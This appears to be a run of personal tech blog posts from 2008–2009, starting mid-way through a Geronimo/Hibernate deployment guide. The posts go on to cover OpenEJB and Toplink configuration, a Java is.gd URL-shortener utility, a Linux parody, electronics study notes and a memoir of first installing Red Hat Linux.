List the following dependencies in your EJB project's deploy plan (geronimo-ejb.xml):

Your JDBC pool
All the Hibernate dependencies we added above
Geronimo's "slf4j-api" dependency in your deploy plan.In Geronimo 2.1.4 it's called: org.slf4j/slf4j-api/1.4.3/jar

You can goto the Service->Repository portlet and click on a resource to see it's usage. When building a deploy plan it's the quickest way to add dependencies. Would be great if the Geronimo developers can make a generic dependency builder to generate the deploy plan, like the one they have when building WAR deploy plans. You EJB deploy plan would look something like this:

<?xml version="1.0" encoding="UTF-8"?>
<openejb-jar xmlns="http://openejb.apache.org/xml/ns/openejb-jar-2.2"
         xmlns:naming="http://geronimo.apache.org/xml/ns/naming-1.2"
         xmlns:sec="http://geronimo.apache.org/xml/ns/security-2.0"
         xmlns:dep="http://geronimo.apache.org/xml/ns/deployment-1.2">

   <dep:environment>
      <dep:moduleId>
         <dep:groupId>user</dep:groupId>
         <dep:artifactId>MyHibernateEJB</dep:artifactId>
         <dep:version>1.0</dep:version>
         <dep:type>jar</dep:type>
      </dep:moduleId>

      <dep:dependencies>
         <dep:dependency>
            <dep:groupId>console.dbpool</dep:groupId>
            <dep:artifactId>jdbc_myDatabasePool</dep:artifactId>
            <dep:version>1.0</dep:version>
            <dep:type>rar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>core</dep:artifactId>
            <dep:version>3.3</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>annotations</dep:artifactId>
            <dep:version>3.4</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>antlr</dep:artifactId>
            <dep:version>2.7.6</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>commons-annotations</dep:artifactId>
            <dep:version>3.4</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>commons-collections</dep:artifactId>
            <dep:version>3.1</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>dom4j</dep:artifactId>
            <dep:version>1.6.1</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>entitymanager</dep:artifactId>
            <dep:version>3.4</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>javassist</dep:artifactId>
            <dep:version>3.9.0.GA</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>jpa</dep:artifactId>
            <dep:version>3.0</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>jta</dep:artifactId>
            <dep:version>1.1</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>hibernate</dep:groupId>
            <dep:artifactId>GeronimoTransactionManager</dep:artifactId>
            <dep:version>1.0</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
         <dep:dependency>
            <dep:groupId>org.slf4j</dep:groupId>
            <dep:artifactId>slf4j-api</dep:artifactId>
            <dep:version>1.4.3</dep:version>
            <dep:type>jar</dep:type>
         </dep:dependency>
      </dep:dependencies>
   </dep:environment>
</openejb-jar>

Specify the transaction manager in your persistence.xml. Here is an example. Note how the JTA data source is specified by only using the artifact ID of the pool you created, with any underscore (_) characters replaced with a "/". This is how Geronimo maps repository resource's module IDs to JNDI names.

<?xml version="1.0" encoding="UTF-8"?>
<persistence version="1.0" xmlns="http://java.sun.com/xml/ns/persistence" 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd">
  <persistence-unit name="MyHibernateEJB-PU" transaction-type="JTA">
    <provider>org.hibernate.ejb.HibernatePersistence</provider>
    <jta-data-source>jdbc/myDatabasePool</jta-data-source>
    <exclude-unlisted-classes>false</exclude-unlisted-classes>
    <properties>
      <property name="hibernate.hbm2ddl.auto" value="create-drop"/>
      <property name="hibernate.transaction.manager_lookup_class" 
        value="org.hibernate.transaction.GeronimoTransactionManagerLookup"/>
    </properties>
  </persistence-unit>
</persistence>

And deploy your EJB.

All should be done now, and you can use Hibernate like you would any other persistence framework.

The Great Sacred Penguin

2009-08-18T19:38:00.001+02:00

A friend sent me this post. Nothing great, though quite amusing really. I usually like saving quotes and sayings.

This doesn't really fit with the rest, so I was thinking of where to put it. Somewhere I won't forget it's location nor it's existence. So I figured I'd share it on the blog. Enjoy.

Welcome to the Brotherhood of Linux
Our relationship with the Penguin has always been greatly misunderstood, most people do not realize, that the roots of our devotion, extend back several millennium, long before the emergence of Linux on earth in 1991, an event foreseen by our great leader Linus Torvalds.  The existence of Linux was covered up for years by Mifosoft. They call themselves a software technology corporation, but they are actually a fascist, political consortium of wealthy stockholders, hellbent on destroying the sacred, great Penguin.  While they suppressed the truth about Linux, the Brotherhood worked tirelessly to acquire and distribute copies of the precious OS, to study it, to unlock it's potential as a new operating system. The mainstream media branded us 'terrorists' and 'communists', but in October 20, 2004, the first Ubuntu was released, exposing Mifosoft as the real terrorists - who forced others to use their standards and thus forced them to confess there heinous closed-mindedness to world.  Once the truth was made public, Linux adoption grew exponentially, pc's from all walks of life flocked to our operating system.  Now we and others like us work tirelessly spreading Linux around the globe, so that those without would benefit from the vast powers of the sacred great Penguin.  For our efforts we are relentlessly attacked, insulted and discriminated against by Mifosoft and their army of power mongers.  The result: angering all free-thinkers and keeping the ignorant - ignorant.  When Linux didn't simply disappear but instead grew, they used a more subversive tactic, they paid other corporations to stop selling their products installed with Linux, and then claiming that the Linux product's did not sell, thus shipping their useless software with the pristine products.  Now despite the rumors of the downfall of the Penguin, the brotherhood remains stronger than ever, our commitment to Linux undying, and with your help we will continue to spread the gospel of the great, sacred, Penguin.

(Adopted from a Brotherhood Nod propaganda broadcast)

is.gd URL Compressor

2009-08-17T21:54:00.000+02:00

Due to the power of the modern web, URLs get pretty complex, carrying all the extra information for dynamic page generation. For the standard use who simply browses from page to page by clicking on links this doesn't pose a problem. But when you want to communicate a specific page and it has an overly long/complex URL problems do arise.

Among these, the most obvious is the mere difficulty in speaking the URL. Imagine having to phone up a friend and tell him to visit the following URL:
http://maps.google.com/maps?q=-25.679811,28.25155&sll=-25.659552,28.180243&sspn=0.04348,0&ie=UTF8&ll=-25.679087,28.2516&spn=0.014078,0.055704&z=15

I dare you to try it, and tell me whether he got it right the first time! All those numbers and punctuation makes it very difficult to speak the URL. Though this URL isn't really meant to be "spoken", it does happen that you come across a page that you want to give to someone quickly, like a colleague sitting in the next door cubicle or a friend you see at the mall.

Though you can claim that this type of URL is pointless to want to share in this way. So what about this one:
http://www.news24.com/Content/SciTech/News/1132/b9152187e1764c0b8a06d3aba259779b/17-08-2009%2009-08/White_House_changes_e-mail_rules

It's a link to a news article. You would probably have an even more difficult time than with the Google Maps link, due to the long undivided character strings, and it's a very common type of content that you would want to share by speech. In all these cases you end up having to copy and e-mail it.

Which gets to the next problem with complex URLs. E-mailing them. In the past if you wanted to hyperlink a URL in your e-mail, you had a button with a link icon on it, which you would click to enter the target URL for a selected piece of text. Most mail clients today are clever enough to recognize URLs in the body themselves, and automatically make these hyperlinks. So you don't need to hyperlink the URL. You can even send the e-mail as plain text, as the receiver's client will hyperlink it for him. This becomes a problem with very long URLs though. Some clients break apart these URLs on certain characters to ensure the individual lines in the body aren't too long.

So when the receiver's client (and sometimes even the sender's client at time of sending) converts these detected URLs to hyperlinks it does so only with the part up to where the client added the new line break. So the person ends up with a broken link most of the time. Some clients try to provide with this and detect these line breaks, attempting to reconstruct the URL it thinks to be the original and hyperlink this. But this sometimes ends up with URLs where only half the text is linked but the correct URL is linked to, or all the text is linked, but a broken URL is linked to, or the reconstructed URL is wrong as it contains whitespace from where the break occurred. I've seen some ugly stuff done by mail clients.

This isn't all their fault. It's mostly due to so many different programs and versions, each doing things their own way. Unfortunately the SMTP/MIME standards don't specify how these things need to be handled, so the users end up with the problems. If you've ever been active on a few mailing lists I'm sure you've come across threads that spin off topic into how to actually visit a link given earlier in the thread.

Then, long complex URLs are just ugly. Putting it anywhere in an e-mail, document or page, especially in the middle of a paragraph not just creates the risk of getting it broken on the other side, but makes things unreadable and messes up the text alignment. There are many problems to this unavoidably powerful thing. I only mention some of the biggest ones I've had to help you understand the purpose of this article, which is URL compression service.

is.gd
A URL compression service is a web site which provides a facility for you to supply a long/complex URL, and have a short URL created which immediately becomes an alias for the long URL. You can for instance take the Google Maps URL I've given earlier, visit the is.gd home page, paste the URL into the field provided and press the "Compress that Address!" button. You will then be presented with your newly compressed address, as shown here:

As you can see the new URL http://is.gd/2lucQ is 88% shorter, 128 characters, and FAR less complex.

And yes, it's that simple.

is.gd Compressor Utility
From here you can, instead of using complex URLs just compress the URL to a short URL, and share them instead. is.gd guarentees that the short URL will be there for life. So you don't need to worry about it expiring.

Since I use this alot, I decided to make a small program to help me make these URLs even quicker. I analyzed my usage patterns and noticed that it always includes at least copying the URL, having it compressed, copying the short URL and then pasting it somewhere else. Then I went looking for similar programs. I found a few, but none of them felt like they made things much easier. Take for example the Firefox plugin that provides is.gd compression. With a single click it compresses the URL for the page you're currently viewing.

What if I want to compress a URL I found somewhere other than Firefox? What if I want to compress a URL for a Google Maps location? What if I want to compress the URL of a link I have found on a page? In all these cases I first need to visit the page for the plugin to be useful.

So I decided to make my program's usage even simpler. I would create a link/button in my application launcher panel (like Windows' Quick Launch shortcuts). When you click this button it would take whatever URL is on your clipboard (which you "copied" from somewhere), compress it via is.gd, and put the newly compressed URL on your clipboard, replacing the original URL.

So it becomes as simple as (1) Copy (2) Click (3) Paste. I call this program the is.gd Compressor Utility

It's written in Java 1.5, and runs on all platforms you can run Java 1.5. I licensed it under the Apache License 2.0 and host it on Source Forge. I will be adding extra functionality onto this program, and it will soon be linked to from the is.gd instructions page as well.

Give it a try! And let me know what you think!

Blogging

2009-08-10T22:08:00.000+02:00

Why do I blog? Why does anyone blog? I cannot speak for the rest of the world. My personal reason for doing this is to gain personal insight.

I have found when I write about something I gain a better understanding on and deeper insight into whatever I'm writing about. So many I've struggled with a problem and when I finally resort to asking for support and I phrase the question I end up finding the answer or realizing a way to find the answer. Through this I've discovered that writing about something I tend to learn about it.

I guess it's related to the saying of "If you can't explain it, you don't know it well enough".

So that's my reason for blogging. And I guess that's why I haven't posted in a long time. I use ScribeFire to post my blogs, and there are so many incomplete posts just hogging my tab space. It's because I found my satisfaction from it before making it "post ready". And to avoid another failure like with my linux distro post which I posted before completing the editing process I would rather just leave them as is and start new posts.

So, recently I acquired a new hobby. Electronics. When I was younger I played with electronics a lot. Taking things apart and putting the different parts together to build exciting toys like alarms and motors and magnets and what not. In high school I always wanted to go study electronic engineering, but this never realized. So now I finally got my things in order on this subject, and am studying electronics.

I got myself a ton of books, a couple of tools and some components. I'm nowhere near building my own circuits, but I do have a good enough understanding to know that I'm definitely going to enjoy this and do great things with this newly acquired knowledge. It's also through this that I am writing tonight.

When I study a book (yes, study, not just read) I do it as if I'm at school. I don't read fiction, it doesn't attract me. I like reading technical books. And when doing so I do it thoroughly, reading carefully making sure I understand everything and doing all the exercises. This way I know that I will be able to apply the knowledge.

So in the process of studying this electronics book, while on the topic of the Node-Voltage method I ran into an exercise that kept me busy for a fair amount of time. The node-voltage method is a method of analysing circuits so as to determine the values of some components like voltage sources and resistors. So naturally the exercise that followed that section required me to use the Node-Voltage method to solve an unknown voltage in the given circuit.

I started building the equations, and ran into a few situations which wasn't exactly described in the book. Took me a whole 12 and a half hours to get to the same answer as given in the book. This is because I had to think very carefully about many things, and start over certain parts or the whole things, taking many different approaches and learning what works and what doesn't many times over. When I solved it eventually, it was a great relief. It's a good feeling when you don't give up and am satisfied in the end.

I confused myself properly throughout this exercise. It felt like my brain was about to jump out of my skull. I went through phases where I could swear that I destroyed all the knowledge I had on circuits. My thoughts were flying in directions I didn't even know existed. But I got there. All this chaos is one of the reasons I actually started writing this post. To calm things down, sort them out, and move forward cleaned and restructured.

I learned a lot in the process. Knowledge that I will no doubt help me in the future. It's one good thing about this book, the approach they take in teaching is different than the other tons of books that I've started with in the past few weeks. One example to explain this was that most books jump straight into Ohm's-law and those rules which often go paired with it. This one didn't even cover these rules until after they went through Kirchoff's law's quite thoroughly. Doing it this way around I gained more insight into Kirchoff's laws which led me into understanding the other rules in a completely different way. After covering a section, I end up with a much deeper understanding of the topic, and thus also the topics that follow.

It might take me a bit longer to cover the same topics, but the reward is obvious afterwards, and I would recommend it to anyone who has the patience to see through a challenge. The book's name is "Electric Circuits" by James W. Nilsson and Susan A. Riedel. It's an academic style book, so it's not a casual read. You should be prepared to sit and stair at the same explanations repeatedly and willing to do every exercise presented.

I'm not saying that it's a difficult book and should be avoided by people with weak math/physics skills. I'm just saying it's meant for the serious student. Any one willing to spend the effort should find it valuable.

Beyond this I had a pretty good week. We've had a problem with the development of one of our products for months now. We've possibly found the reason for this on Friday, using a Time-Delay reflectometer. Had to go underground for this, or rather, I went underground and sat around doing nothing while others were solving the problems because I lost them in those tunnels and walked around looking for them for just over an hour, at which time I gave up and decided to go wait for them at the control room. The funny thing is that they were just 5 minutes ahead of me. They left while I was testing a WiFi radio. Then when I leave I can't find them anywhere. I walked to their intended destinations, by they decided to do them in another order without telling me. So through all this I now fully appreciate the reason for installing our tracking systems, which is that you need to know for sure where someone is undergound. Walking around looking for them is not an option.

I still get sick when going underground, so that's not over. I guess my ears just can't handle the air pressure like other's can. I was sleeping throughout most of Saturday. But all-in-all I feel good about this past week, and am ready to face the next 7 days with a smile.

Long Time

2009-05-05T09:58:00.002+02:00

Haven't posted in more than 4 months. Have written down (physically) many things I wanted to post, but never got around to actually typing and formatting it. Shame on me :>

This is a little act of intent, to get the ball rolling again.

Either way, I've learned many new things recently and read many fascinating books. In particular, do yourself a favor and read:

The Pragmatic Programmer: From Journeyman to Master
by Andrew Hunt and David Thomas
Publisher: Addison Wesley
ISBN: 0-201-61622-X
Refactoring: Improving the Design of Existing Code (Addison-Wesley Object Technology Series)
by Martin Fowler, Kent Beck, John Brant, William Opdyke, Don Roberts
Publisher: Addison Wesley
ISBN: 0-201-48567-2

Even though I've done things in the ways described by these books for many years now, I learned a great deal from both of them. For instance, refactoring has always been very natural to me. But reading Fowler's ways to spot places that need refactoring become, how can I say... "more concrete".

I've always cleaned up code and improved design, but this book got to me. Which is why I used the word concrete. I can't really think of a better word now.

Either way, the point I'm trying to make is that if you haven't read this book, even if you know refactoring from personal experience or you've never even heard the term, you must read it. Great read! Thanks again Addison Wesley!

Then, the Pragmatic Programmer. The name says it all. If you want more from your software development skills, then read it. I can almost guarantee that you'll learn from this book. The focus on the book is improving your "programming side of life". More specific I can't get. And it does it well.

As you probably noticed both are published by Addison Wesley. So let's congratulate them for having brought us many high quality books over the years. Of all the books I've loved, Addison Wesley published so many of them. It's happened a couple of times that I read a book that I'm enjoying, then turn to memorize the author's name and publisher, just to notice it's Addison Wesley, once again. Thanks, and keep us well-booked!

OpenEJB Resource injection for Unit Testing

2008-12-10T22:32:00.017+02:00

I got a question asking how to inject a different set of resources for an OpenEJB project in the Netbeans IDE. The resource sets are one for when you're running unit tests, and one for when you're doing a normal build.

To clarify with an example: you have a String resource you want to inject. In a normal build you will inject "My Live Project", and when doing unit tests you will inject "My Test Project".

There are 2 ways to inject resources with OpenEJB. The one is to specify them in your ejb-jar.xml, and the other is in the env-entries.properties file. These need to be in the META-INF directory if you want OpenEJB to recognize and load them. There is no way to specify alternative locations for either of them (a feature I feel is lacking for env-entries.properties).

So the problem comes with you not being able to specify (in Netbeans) an alternative "META-INF" (or "Configuration") directory for unit tests.

The solution can probably be called a hack, but if you really need to do this, it will work. And besides, using hacks in your testing process can be justified a bit more than using them to solve problems in your program's design/implementation.

The Concept behind the Solution
Netbeans uses Ant for building/running your projects. In your project's root directory you will find a "build.xml", which is what is supplied to Ant. This file in turn includes the "nbproject/build-impl.xml" file (and again some others in the "nbproject" directory) for the actual build logic.

Those in the "nbproject" are generated, and should not be modified directly to avoid loosing your changes.

The Netbeans developers did however create a solution for this, by providing "place holder" or "hook" build targets which you can override in your build.xml file. These targets are located in "build-impl.xml" and is empty by default. There are ones for all the main tasks such as compile, test, test-single, dist, etc.

For example, if you do a complete build (one which generates the "dist" directory and your resulting "jar" files), you have empty "-pre-dist" and "-post-dist" targets. These are run before and after the main "dist" targets, respectively. So if you wanted to add some of your own logic to the build process, you can do so by overriding one of these pre/post targets. Here's a snippet of -pre-dist from the build-impl.xml file:

    <target name="-pre-dist">
        <!-- Empty placeholder for easier customization. -->
        <!-- You can override this target in the ../build.xml file. -->
    </target>

Read the comments inside the "build.xml" file for more information.

So, we will be solving our problem by overriding targets in the compile and compile-test processes, copying the appropriate env-entries.properties file. To make it a bit more general, I am copying a whole directory, so you can have a "unit test version" of any of the files in your "Configuration" directory.

To clarify all this, I'm going to explain what exactly I'm doing, and what opportunities this creates.

In your Netbeans project, you have a "Configuration Files" section. These are the files which will end up in your META-INF directory. What this post describes is a way to override some of these files for when you're doing unit testing. So, if you have the files ejb-jar.xml, env-entries.properties and persistence.xml in your "Configuration Files" section, all 3 of them will be copied to the META-INF directory for all builds of your project.

So we will be creating a directory "resources/META-INF" in your "Test Packages" section. Any files located in this directory will override those in "Configuration Files". So assume you have the previously mentioned 3 files in "Configuration Files". If, during tests, you wanted to use another env-entries.properties (like we are doing), you would create only this file in "resources/META-INF". This will result in "persistence.xml" and "ejb-jar.xml" to be taken from "Configuration Files", but "env-entries.properties" to be taken from your "resources/META-INF" under "Test Packages".

This concept alone can be pretty useful.

The Solution
Note that even if you don't want an env-entries.properties in your standard builds, it needs to at least exist. This is true for any "test versions" you have of files in "resources/META-INF". The reason for this is because files are copied on a per directory basis, overwriting where necessary. If you have an "env-entries.properties" in your test packages but not in your configuration files section, then it will end up staying there after you did your unit tests. If you don't want one for standard builds, at least create an empty copy in "Configuration Files".

First things first, create a file called "env-entries.properties" in your "Configuration Files" directory. You can do this by creating a new "Properties file" and putting it in the "src/conf" directory under your project root. Then, inside "Test Packages", create a directory "resources/META-INF" with a second copy of "env-entries.properties" inside of it.

After this, open up your project's "build.xml" file. The "build.xml" file isn't available through the standard project browser. You will need to use the "Files" browser or an external editor to locate and open it. When you have it open, add the following just before the </project> tag. If you have already customized this file with your own overrides, make sure to merge any overrides as necessary. If you've never touched this file you can safely just copy/paste the following snippet.

    <target name="-pre-compile-single">
        <copy todir="${classes.dir}/META-INF" overwrite="true">
            <fileset dir="${meta.inf}" />
        </copy>
    </target>
    <target name="-pre-compile">
        <copy todir="${classes.dir}/META-INF" overwrite="true">
            <fileset dir="${meta.inf}" />
        </copy>
    </target>
    <target name="-pre-compile-test-single">
        <copy todir="${classes.dir}/META-INF" overwrite="true">
            <fileset dir="${test.src.dir}/resources/META-INF" />
        </copy>
    </target>
    <target name="-pre-compile-test">
        <copy todir="${classes.dir}/META-INF" overwrite="true">
            <fileset dir="${test.src.dir}/resources/META-INF" />
        </copy>
    </target>

And this should do the trick. Now whenever you run tests, you will override any of your META-INF files with special versions.

Afterword
The above code snippets, directory layouts and configuration is based on Netbeans 6.1. It might be different for other versions. If this is the case, adapt appropriately.

And if you get stuck, I made any mistakes, you found a bug in my solution or anything is unclear, let me know.

enjoy,
Quintin

Toplink with OpenEJB 3.1

2008-12-09T23:02:00.003+02:00

This is basically a follow up on my previous post, which deals with using EclipseLink or Toplink as your persistence provider.

With OpenEJB 3.0 you had to use a few workarounds described in my post entitled Toplink as your OpenEJB Persistence Provider.

All the steps are basically the same, ie. ensuring you have the necessary libraries on the classpath, configuring persistence.xml, etc.

The difference is in initializing your InitialContext. Previously you had to do the following:

   Properties properties = new Properties();
   properties.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");

   properties.put("openejbDatasource", "new://Resource?type=DataSource");
   properties.put("openejbDatasource.JdbcDriver", "org.postgresql.Driver");
   properties.put("openejbDatasource.JdbcUrl", "jdbc:postgresql://localhost:5432/vds_test");
   properties.put("openejbDatasource.UserName", "vds");
   properties.put("openejbDatasource.Password", "vds");

   System.getProperties().setProperty("toplink.target-server", "org.apache.openejb.toplink.openejb.OpenEJBTransactionController");
   System.getProperties().setProperty("toplink.ddl-generation", "drop-and-create-tables");
   System.getProperties().setProperty("toplink.logging.level", "INFO");
   System.getProperties().setProperty("toplink.create-ddl-jdbc-file-name", "create.sql");
   System.getProperties().setProperty("toplink.ddl-generation.output-mode", "both");

   InitialContext initialContext = new InitialContext(properties);

Now all you need to do is this:

   Properties properties = new Properties();
   properties.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");

   properties.put("openejbDatasource", "new://Resource?type=DataSource");
   properties.put("openejbDatasource.JdbcDriver", "org.postgresql.Driver");
   properties.put("openejbDatasource.JdbcUrl", "jdbc:postgresql://localhost:5432/vds_test");
   properties.put("openejbDatasource.UserName", "vds");
   properties.put("openejbDatasource.Password", "vds");

   System.getProperties().setProperty("toplink.ddl-generation", "drop-and-create-tables");
   System.getProperties().setProperty("toplink.logging.level", "INFO");
   System.getProperties().setProperty("toplink.create-ddl-jdbc-file-name", "create.sql");
   System.getProperties().setProperty("toplink.ddl-generation.output-mode", "both");

   InitialContext initialContext = new InitialContext(properties);

It basically comes down to you not having to add the extra target-server property and thus no need to create the initialization class (in my example "org.apache.openejb.toplink.openejb.OpenEJBTransactionController") because OpenEJB 3.1 automatically detects and configures Toplink (or derived) providers.

Thank the OpenEJB developers for their extraordinary effort.

What makes a good Linux Distro

2008-11-23T12:15:00.006+02:00

I discovered a neat Debian feature today. Specifically the network device configuration script, which allows you to specify commands hooked into certain steps of the network init events. You have these in many distros, just never used it in Debian (specifically Ubuntu). For instance, you can specify a command to run when the device goes up. Which is ideal for my iBurst setup which requires me to do an "ifconfig ib0 up" before doing the PPPoE connection. It's one of many discoveries and added to my thought of what makes a good Linux distro.

Linux ranks among the top things I ever discovered. I, like many young IT enthusiasts reading jolly roger guides found on the internet, and reading BBS listings and all those text files floating around on the old internet. Among these that fascinated me the most was how you can gain access to another's computer without their permission and many times even without using a terminal client like "telnet". So I took my surfboard and modem and hit the internet to learn more about this "dark craft".

In the process I got banned from the internet twice (another story). Luckily hacking wasn't illegal back then, so I got off fine. Good old South Africa.

So let me tell you a story, the story of how I become a Linux user. I'm not much of a story teller, so this post is nothing more than a summary of a thought I had today. And it'll make me look childish... but I was a child... and children are well... childish.

The Dream
As most hacker guides mention, Linux is an utmost necessary tool in the hacker's arsenal. Back then I was ignorant of "operating systems". I used Windows, and knew servers used something called "Unix", but I didn't understand the concept and the thought never got any further than this. Naturally I tried to get my hands on Linux. Being a programmer I wanted to get the source code as well, so I placed a "wanted" ad in a classifieds newspaper for "Linux and it's source code". Got a couple of calls, but none of them could give it to me bundled with the source code. Please understand that telephone calls are extremely expensive in South Africa and geared with a 33.6k modem downloading it wasn't an option.

Every weekend we bought the Sunday newspaper. It usually came bundled with an ad leaflet for a certain large computer store, Incredible Connection. I noticed they had Red Hat Linux 6 for sale, so I immediately started saving for it. When I got the money together I tagged on my moms dress like a little kid that really badly wants that toy in the window and the loving mother she was we went on the trip that would change my life.

The Store
Incredible Connection (commonly referred to as Incredible Corruption, being highly overpriced) was very big. They had a group of cashiers at the front, which were followed by racks of computer games. Behind these game racks the "software racks" followed on the left side and the hardware on the right. I always referred to games as games, and "proper programs" as "oordentlike sagteware" (Afrikaans for the prior) or software. The software racks was my favorite area. If I could I would have spent my whole childhood hanging out there, reading everything on every part of every software box, staring at the pictures and dreaming what they would be like to use. I wasn't one of those lucky kids who could just get any software he wants.

My dad wasn't in the business of computers, so he had no friends who could copy me anything I wanted, nor was he in the business of money, so he couldn't buy it for me either. Today I'm grateful for this as I believe I learned more about software this way than I would have had I just been able to play with whatever I wanted. It's a complex (one that makes sense) theory, so I'll leave that out.

So, back to the store. On the sides of the shop you found all the hardware/accessories like mice, keyboards, CD-ROM drives and then also a technician's counter. Then finally, all the way at the back was kiddies games and the internet cafe. Once I stood at the internet cafe, always too scared to ask what it would cost to go onto the internet. So, standing there staring at a guy and his friends who all had the typical bleached blond punk-hacker look. He typed some commands in the MS-DOS prompt and made a message box appear on all the monitors. The looked super cool. Took me a long time to realize all he did was do a "net send" but back then it was a big "Wow!" for me.

Off to Menlyn Park Shopping Centre
So the day came that we are going to the the Incredible Connection. Menlyn Park Shopping Centre is mega-huge. It was always a fun day to go there. Being on the other side of the city it would be a complete field trip, often coupled with visiting my grand mother who lived close by.

Usually when we goto to Incredible Connection I would make my way to the "software racks" as quick as I could, and this day was no different. I was looking around for it when a sales assistant asked if he could assist. Proudly I told him I'm looking for "Red Hat Linux 6". He showed me to the box, which I picked up and asked to purchase. They had a process for purchase software, which included getting a "sticker". I remember the sales assistant questioning my decision. The details are very vague but I eventually walked out with that box.

I even carried the bag all the time while we were finishing our little road trip. I felt very proud of my purchase, like a king, a king who can't wait to get home to install something, something which he knew he wasn't going to be allowed to do anyway since he doesn't have his own computer and his parent's can't risk losing their data.

The Box

Even though I couldn't install it I was still very excited. I have Red Hat Linux 6! It had autodetection and configuration of hardware, NEW GUI (Gnome) which it even automatically starts after complete installation, new 2.2 Kernel with enhanced multi-tasking and scalable to 4 processors, latest optimized C compiler, contained installation and getting started guides and 3 CDs which included installation disk, the source code and the Enhanced Linux Application CD valued over $1000. It was selected as operating system Product-of-the-Year by InfoWorld for the preceding 3 years. And best of all it used the grand RPM package system (which I thought at the time was just some new awesome compression format)!

I studied that installation booklet till I almost knew the process by heart. At the back of the booklet there was also an extensive package list, with the name, categoration and description of the package.

I recall sitting in class when we had no school work, making lists of all the packages available, nicely organized into columns and by category. I even added the descriptions so basically it came down to reproducing the whole section of the installation guide. I knew RedHat 6.0 and it's packages almost by heart, long before I even installed or used it. After this I began checking off which packages I would install when I will be allowed to.

This might seem obsessive but remember, I was really excited about this so called awesome operating system. At the time I had limited experience having already learned basic Linux commands from online guides and trying them out on War Boxes (I think this is what they were called). Shell accounts were too expensive, so I had to resort to completely crippled Linux systems to learn the basics of ls, cd, vi, passwd/shadow, init.d, etc. I have also studied MANY of the TLDP HOWTO guides (like the Coffee maker, dual boot, lilo, and so on). So my Linux knowledge was very very basic. Just enough to every day make me feel like a boy on Christmas morning. The cool looking Gnome screenshot on the back of the box added to this elation.

The Installation
My mom never heard the end of what I learned from reading all this stuff, so I hatched a plan on how to preserve their data and have both Windows and Linux on the same machine. This included carefully selecting what is expendable, backing up the rest to a collection of nine 1.44MB stiffies, partitioning into two 1GB partitions and then installing Linux and Windows on their own. To preserve their 2GB I would also compress the Windows partition and this way everyone remained happy.

She granted me a great gift, a YES. So I planned everything I was going to do very thoroughly, ie. the backup/restoration of data, order of O/S installations, compression of partition, setting up Lilo, amount of SWAP to use, packages to install, etc.

At the point where I booted the CD using the stiffie bootdisk my heart was pounding like a drum gone wild. I went through everything very carefully, making sure I knew exactly what every step would do so everything would go smoothly and without problems. I also didn't have any internet access at the time, so I relied on prior research and quite a bit of anxiety to give me the adrenaline boost needed for superhuman focus (at the time I wasn't on caffiene).

Long story short, I got everything working first time. Very proud I booted into Gnome. The only Linux knowledge I had was commands, so to satisfy my hunger and try out my new Linux machine I made it to the console and started playing around. I also tried the file manager, checked out the applications, noticed a long list of games, put in my "over $1000 worth application cd" and checked out the C++ compilers. Afterwards I ran to my mother explaining all the neat things I discovered.

I almost envy my enthusiasism about software back then. Today software is very serious - for me at least. It feels like the days of software being the coolest thing on the planet have passed. Though this might just be me - or it might be the common usage of the internet and computers today. Who knows?

The Installation
In the process of playing around I messed up the system. I tried to fix it by following similar steps, but couldn't. So I reinstalled it. I eventually learned what I shouldn't do and stayed away from those areas for a while. My excitement couldn't keep me away for too long and I would find myself messing up the system over and over again - sometimes repeating mistakes - sometimes making new ones. In one week I installed Linux 9 times. It was simpler after the first one. Firstly I knew what to expect and I didn't have to touch the Windows partition.

The First South African Distro
This is my introduction to Linux. I never really got into the hacking scene as much as one would have thought I would at the time, given the amount of time spent studying it. My love and passion was always really software and development, and the fact that during the times my bipolar mind had it's "ups" on hacking, I wasn't allowed to touch the internet. I must say that hacking is fun. From the point where you start and you know you left your trace, till where you end because if you didn't end you might get caught. It's like doing something you're life depends on. It's a rush. But I guess I get from programming what a carpenter gets from
seeing his completed work. It's at the same time a humbling as well as
excilirating experience, which is probably the biggest reason I stayed
with software.

I fell in love with Linux somewhere between reading a hacker guide mentioning it and installing it, and us two has remained faithful partners since.

For my Grade 8 science project I wanted to make my own operating system. I was going to take the source code disk I got with RH6 and rebuild the whole thing, using my own name, changing the look, adding some cool "science" tools to remain "sciency", use the school's colors as a theme to swoon the judges with my "School Spirit", and so on ;> I don't remember why I never did this. I do, however, recall wondering whether this would clasify as a valid "science project", which is probably what demotivated me. After all, the guys (yes, boys school) that went regional all did some form of discovery and research.

